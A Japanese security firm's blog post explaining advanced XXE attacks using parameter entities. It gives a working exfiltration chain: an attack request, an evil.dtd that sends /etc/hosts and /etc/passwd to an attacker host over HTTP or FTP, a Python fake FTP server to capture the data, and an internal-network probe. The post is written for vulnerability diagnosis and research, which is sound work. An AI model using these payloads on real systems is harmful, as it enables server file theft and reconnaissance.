本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。

最新情報

2017.12.13

XXE 応用編

XXE攻撃 基本編ではXXE攻撃ついて基礎となる説明を行いました。

今回は、前回の記事では取り上げなかったXXE攻撃にスポットをあてます。

また、脆弱性の診断や検証を行っていると、脆弱性が存在するにもかかわらずうまく攻撃が成功しないケースをよく経験します。

このようなときに障害となる問題をどのように解決をおこなっているかの過程についてもあわせて説明します。


XXE攻撃 基本編を読まれていない方はまずはこちらを一読ください。


パラメータ実体参照とは


XXE攻撃 基本編では以下の2種類の実体参照について説明しました。


実体宣言(再掲)
<!DOCTYPE name [
<!ENTITY nf "test">
<!ENTITY nl SYSTEM "external_file.xml">
]>
<name><first>&nf;</first><last>&nl;</last></name>

上記のようにXML内で実体参照を行う以外にDTD内のみで利用可能なパラメータ実体参照と呼ばれるものがあります。

パラメータ実体参照は、DTDで定義した内容をDTD内の複数の箇所で利用するというような場合に利用されます。


パラメータ実体宣言とパラメータ実体参照の例を以下に示します。


<!DOCTYPE name [
<!ELEMENT name (first,last)>
<!ENTITY % df '<!ELEMENT first (#PCDATA) >'> <!--  <A> -->
<!ENTITY % dl SYSTEM "external_file.dtd"> <!--  <B> -->
%df; <!--  <C> -->
%dl; <!--  <D> -->
]>

<A>が内部パラメータ実体宣言です。実体名と実体(文字列)を関連付けています。

<B>が外部パラメータ実体宣言です。実体名とファイルの中身を関連付けています。ここは、一般的な実体参照と同様に外部サイトのURLを記載することも可能です。

<C>、<D>の「%df;」、「%dl;」がパラメータ実体参照です。定義したパラメータ実体の参照をおこなっています。


このとき external_file.dtd ファイルは以下の内容とします。


external_file.dtd
<!ELEMENT last (#PCDATA) >

この場合パラメータ実体参照が


<!DOCTYPE name [
<!ELEMENT name (first,last)>
<!ELEMENT first (#PCDATA) >
<!ELEMENT last (#PCDATA) >
]>

このように展開されます。

以上のことから、パラメータ実体参照はXXE攻撃 基本編で説明した実体参照と似たような機能をもっていることがわかります。大きな違いとしてパラメータ実体参照はDTDの中のみでしか利用できない点があります。


パラメータ実体参照を利用したXXE攻撃


パラメータ実体参照を利用した攻撃の説明を行っていきますが、脆弱なサーバプログラムは XXE攻撃 基本編と同じJavaプログラムを利用しますので、ソースは前回の記事を参照して下さい。

まずは、実体参照のときと同じように、パラメータ実体参照を利用してサーバ内のファイルを取得することはできないかということを考えるかと思います。

この可能性がありえることを最初に指摘しているのはおそらく、XMLをParseするアプリのセキュリティ(補足編)の記事でしょうか?

弊社のウェブアプリケーション診断において、記事先の手法を利用して、サーバ内のファイルを取得できた事例があり、脆弱性として報告したことがあります。

その後、XXE攻撃の研究が進み、このDTD宣言内のみで完結するパラメータ実体参照を利用した方法が考えられました。

これについては、Positive Technologies社が公表した以下の資料に詳細が記載されています。

この資料に記載されている攻撃の手法は以下のとおりです。



<1>攻撃リクエスト送信

攻撃者は以下のような攻撃リクエストを送信します。


POST /XMLTest/XMLVuln HTTP/1.1
Host: www.example.com
Content-Type: text/xml
Content-Length: 176

<!DOCTYPE name [
<!ENTITY % remote SYSTEM "http://attacker.example.com/evil.dtd">
%remote;
]>
<name><first>tarou</first><last>mitsui</last></name>

<2>evilファイル読み込み

被害者サーバにおいて、リクエストされたXMLが解釈され、攻撃者サーバ上の外部DTDファイル(http://attacker.example.com/evil.dtd)の参照がされます。


<3>evilファイルの内容を解釈

攻撃者のサーバ上の「evil.dtd」 ファイルは以下の内容とします。


evil.dtd (/etc/hosts を指定した場合)
<!ENTITY % payload SYSTEM "file:///etc/hosts">  <!--  <E> -->
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http:// attacker.example.com/?%payload;" >'>  <!--  <F> -->
%param1;  <!--  <G> -->
%external; <!--  <H> -->

このファイルの内容は、少しわかりにくいのですが、

<E>のパラメータ外部実体参照にて、「/etc/hosts」の内容を「payload」として宣言しています。

<F>では宣言をネストさせ攻撃者サーバのURLクエリーパラメータの一部として「%payload;」を指定することにより、パラメータ実体参照をしています。

さらに、<G>、<H>の「%param1;」、「%external;」の箇所にてパラメータ実体参照をしています。

これにより、「/etc/hosts」ファイルの内容が、攻撃者サーバのクエリーパラメータの一部となります。


<4>攻撃者サーバに送信

パラメータ実体参照が展開された結果、URLのクエリーパラメータの内容が攻撃者サーバに送信されます。

このとき攻撃者サーバ上ではアクセスログまたはパケットキャプチャ等により通信の記録等を行います。


以上が攻撃の手順です。


筆者が用意した検証環境において、この手順で攻撃の再現を試みたところ、攻撃サーバ上の「evil.dtd」ファイルへのアクセス記録は確認できましたが、肝心の「/etc/hosts」の中身が攻撃サーバには送信されてきませんでした。

つまり、手順<1>、<2>までは成功しているが<3>以降において失敗しているということです。


Positive Technologies社が公表した資料によれば、ファイルが複数行の場合でもJava は Xerces にて改行が自動的に処理されるため、取得可能とあります。


診断においてはXXE攻撃が成功する根拠(危険度を評価する根拠)として、何らかのファイルを実際に取得し、実証する必要があり、このように、怪しい挙動を示しているがファイル内容をうまく取得できない場合、「/etc/host.conf」を指定する方法があります。

「/etc/host.conf」は大抵のディストリビューションに存在しておりのファイルの中身は以下のようになっています。


multi on

このファイルが変更されていないという保証はありませんが、 今回のように1行しか取得できていないと推測される場合や、取得可能な文字数に制限があるような場合に重宝します。

以下のように「evil.dtd」で宣言したパラメータ外部実体参照「payload」の参照先を「/etc/host.conf」に変更します。


evil.dtd (/etc/host.conf を指定した場合)
<!ENTITY % payload SYSTEM "file:///etc/host.conf">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://attaker
.example.com/?%payload;">'>
%param1;
%external;

そして、再度攻撃リクエストを送信すると、攻撃者サーバの Apache の access.log には以下のログが記録されていました。


access.log
www.example.com - - [27/Nov/2017:19:11:23 +0900] "GET /?multi%20on HTTP/1.1" 404 206 "-" "Java/1.8.0_92"

これによりファイルの内容の取得が確認できました。また、ファイルの内容が複数行の場合には取得に失敗しているのではないかということも推測できます。

この複数行の場合に取得に失敗する問題については、JavaのXMLパーサによる違いの可能性も考えらます。

しかし、筆者の調査の結果、標準のパーサの場合であっても昔のバージョンであれば失敗しないが、最近のバージョンでは失敗することが判明しました。


複数行取得に失敗することを確認できたバージョン
Java JDK(JRE) 詳細バージョン
6 6u38 以降
7 7u21 以降
8 最初のバージョンから

JDK6や7は公式アップデートが既に終了しているため、サーバにこのような古いバージョンのJavaが利用されることは、今後減っていくことが考えられます。

このため、JDKの新しいバージョンの場合でも、複数行ファイルの取得を行うための方法がないかについて考えてみます。

最初の糸口として、そもそも、なぜ複数行ファイルの取得に失敗するのかという点を調べることにします。

その結果判明したことは、リクエストが送信されたときに、被害者のサーバでは以下のExceptionが発生しているということでした。 以下の例ではわかりやすいようにスタックトレースを表示しています。


java.net.MalformedURLException: Illegal character in URL
        at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:597)
        at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2526)
        at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:548)
        at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1534)
        at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1441)
        at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:647)
        at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1305)
        at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1241)
        at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:729)
        at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.skipSeparator(XMLDTDScannerImpl.java:2091)
        at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDecls(XMLDTDScannerImpl.java:2054)
        at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(XMLDTDScannerImpl.java:362)
        at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(XMLDocumentScannerImpl.java:1105)
        at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(XMLDocumentScannerImpl.java:1050)
        at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(XMLDocumentScannerImpl.java:938)
        at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:606)
        at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:510)
        at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:848)
        at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:777)
        at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
        at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
        at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:339)
        at vuln.XMLVuln.service(XMLVuln.java:25)
// (以下省略)

スタックトレース中のjava.net.MalformedURLExceptionを生成しているのはsun.net.www.http.HttpClientクラスですが、該当のJavaのクラスは以下のようになっています。


sun.net.www.http.HttpClient.java(抜粋)
    public String getURLFile() throws IOException {
        String fileName = url.getFile();
        if ((fileName == null) || (fileName.length() == 0))
            fileName = "/";
// (コード中略)
        if (fileName.indexOf('\n') == -1) 
            return fileName;
        else
            throw new java.net.MalformedURLException("Illegal character in URL");
    }

要するに、URLに改行(\n)が含まれている場合にExceptionが発生するのがわかります。

これは、手順<3>にて示したように攻撃者のサーバのURLのクエリーパラメータの一部として「%payload;」を指定し、パラメータ実体参照をおこないましたが、この「%payload;」が展開された後に改行がエンコード等されずそのまま含まれているということを意味します。

このExceptionは攻撃サーバに対してリクエストが送信される前に発生しているため通信すら発生せず、結果的に攻撃者はファイル内容の取得が行えません。

このように「\n」コードが含まれている場合はエラーとなるため、複数行の取得は一見無理なように思えます。しかし本当にそうなのかというのを考えます。

まず、Exception はHTTP通信を行った際に呼ばれるsun.net.www.http.HttpClient クラスで発生しているため、HTTP通信以外であれば攻撃に成功するかもしれないというアイデアが出てきました。

ここでは以下のようにFTPプロトコルを利用してみます。


evil.dtd(ftpプロトコル指定)
<!ENTITY % payload SYSTEM "file:///etc/hosts">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "ftp://evil.example.com/%payload;" >'>
%param1;
%external;

攻撃者サーバ上では、パケットのキャプチャを行います。


$ sudo tcpdump -s 0 -w capture.pcap

被害者サーバにリクエストを送信後、攻撃者サーバで取得したパケットを WireShark の TCP Stream を利用して見ると 以下のようになっていました。



改行で区切られた文字がFTPコマンドとして解釈されるためエラーとなっていますが ファイルの内容は取得できていることがわかります。

ただし、一般的なFTPサーバの場合、取得する内容によっては、途中でFTPコマンドがエラーとなり、その後のデータが取れない場合があります。

以下は「/etc/passwd」ファイルの内容を取得した例です。



パスワードファイルの一行目は


root:x:0:0:root:/root:/bin/bash

というような値となっているのですが、最初の「/」以降のデータが取得できていません。

これは、JavaがFTP クラアントとして動作をおこなう場合に送信コマンドがエラーとなると、その後のコマンドの送出をあきらめてしまっているためにファイルの内容を全て取得できていないのではということが推測できます。


これに対応するため以下のようなPythonスクリプトを作りました。


ftpsrv.py
import socket

host = "0.0.0.0"
port = 21

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((host, port))
sock.listen(1)

print 'waiting for connection...'

(client_sock, client_addr) = sock.accept()

client_sock.send("220 test\r\n")
print 'start'

while True:
  msg = client_sock.recv(1024)
  msg = msg.rstrip()

  if msg == "":
    print 'connection end'
    break
  else:
    if msg.startswith("USER "):
       client_sock.send("331 user \r\n") 
       print "echo : %s" % msg
    elif msg.startswith("PASS "):
       client_sock.send("230 pass\r\n") 
       print "echo : %s" % msg
    elif msg.startswith("TYPE "):
       client_sock.send("200 mode\r\n") 
       print "echo : %s" % msg
    else:
       client_sock.send("200 OK\r\n") 
")
       print "echo : %s" % msg

client_sock.close()

sock.close()

このプログラムではどんなコマンドであろうと固定のステータスを返しエラーにならないようにしています。かなり、粗雑なプログラムですが目的はサーバ上のファイルを取得することありますのでこれで十分です。


このプログラムをサーバ上にて動作させます。


$ sudo python ftpsrv.py

作成したプログラムではFTPクライアントから受け取った値をそのまま標準出力に出力していますので、パケットキャプチャを行わなくとも内容の確認が可能です。

再度攻撃リクエスト送信後、以下の内容が出力されました。


$ sudo python ftpsrv.py
waiting for connection...
start
echo : USER anonymous
echo : PASS Java1.8.0_92@
echo : TYPE I
echo : CWD root:x:0:0:root:
echo : CWD root:
echo : CWD bin
echo : CWD bash
bin:x:1:1:bin:
echo : CWD bin:
echo : CWD sbin
echo : CWD nologin
daemon:x:2:2:daemon:
echo : CWD sbin:
echo : CWD sbin
echo : CWD nologin
adm:x:3:4:adm:
echo : CWD var
echo : CWD adm:
echo : CWD sbin
echo : CWD nologin
(以降省略)

「/」はFTPのクライアント側でディレクトリ区切りとして認識されるため消えてしまっていますが十分に中身を確認できます。

さて、ここまでやってきましたが、実はJavaのバージョン Java JDK(JRE) 8u131以降においては、 解釈されるFTPのコマンドに改行(\n)が含まれる場合には、Exceptionが発生することが判明しております。

ただし、今回はHTTPの場合とは違って、複数行ファイルであってもファイルの1行目については取得できる可能性があります。

例えば、「/etc/passwd」ファイルのように最初の改行コードまでに「/」があるような場合です。

このように最新バージョンのJavaの導入をしていたとしても、XXE攻撃により限定されたファイルの一部とはいえ取得される可能性があるといえます。

また、今回はFTPプロトコルを利用していますが、他の方法として、 SMTP over XXE に紹介されている手法もあります。


最後に、今回紹介したファイルの取得以外にもXXE基礎編で紹介したポートスキャンやサーバの存在確認といったことが、パラメータ実体参照においても同様に可能です。

同じような例となりますので、パラメータ実体参照を利用した、内部ネットワークの存在の確認を行う例についてのみ紹介します。


<!DOCTYPE name [
<!ENTITY % d SYSTEM "http://192.0.2.11/">%d;
]>
<name><first>mitsui</first><last>taro</last></name>

この場合も前回の記事と同じように、応答時間の差異を利用してIPの存在確認に利用できる可能性があります。


今回の内容はこれで終わりとなります。

この記事の内容をきっかけにもっとXXEについて注目があつまってくれることを期待したいと思います。


諌山 貴由 の他のブログ記事を読む


関連ブログ記事

プロフェッショナルサービス事業部
諌山貴由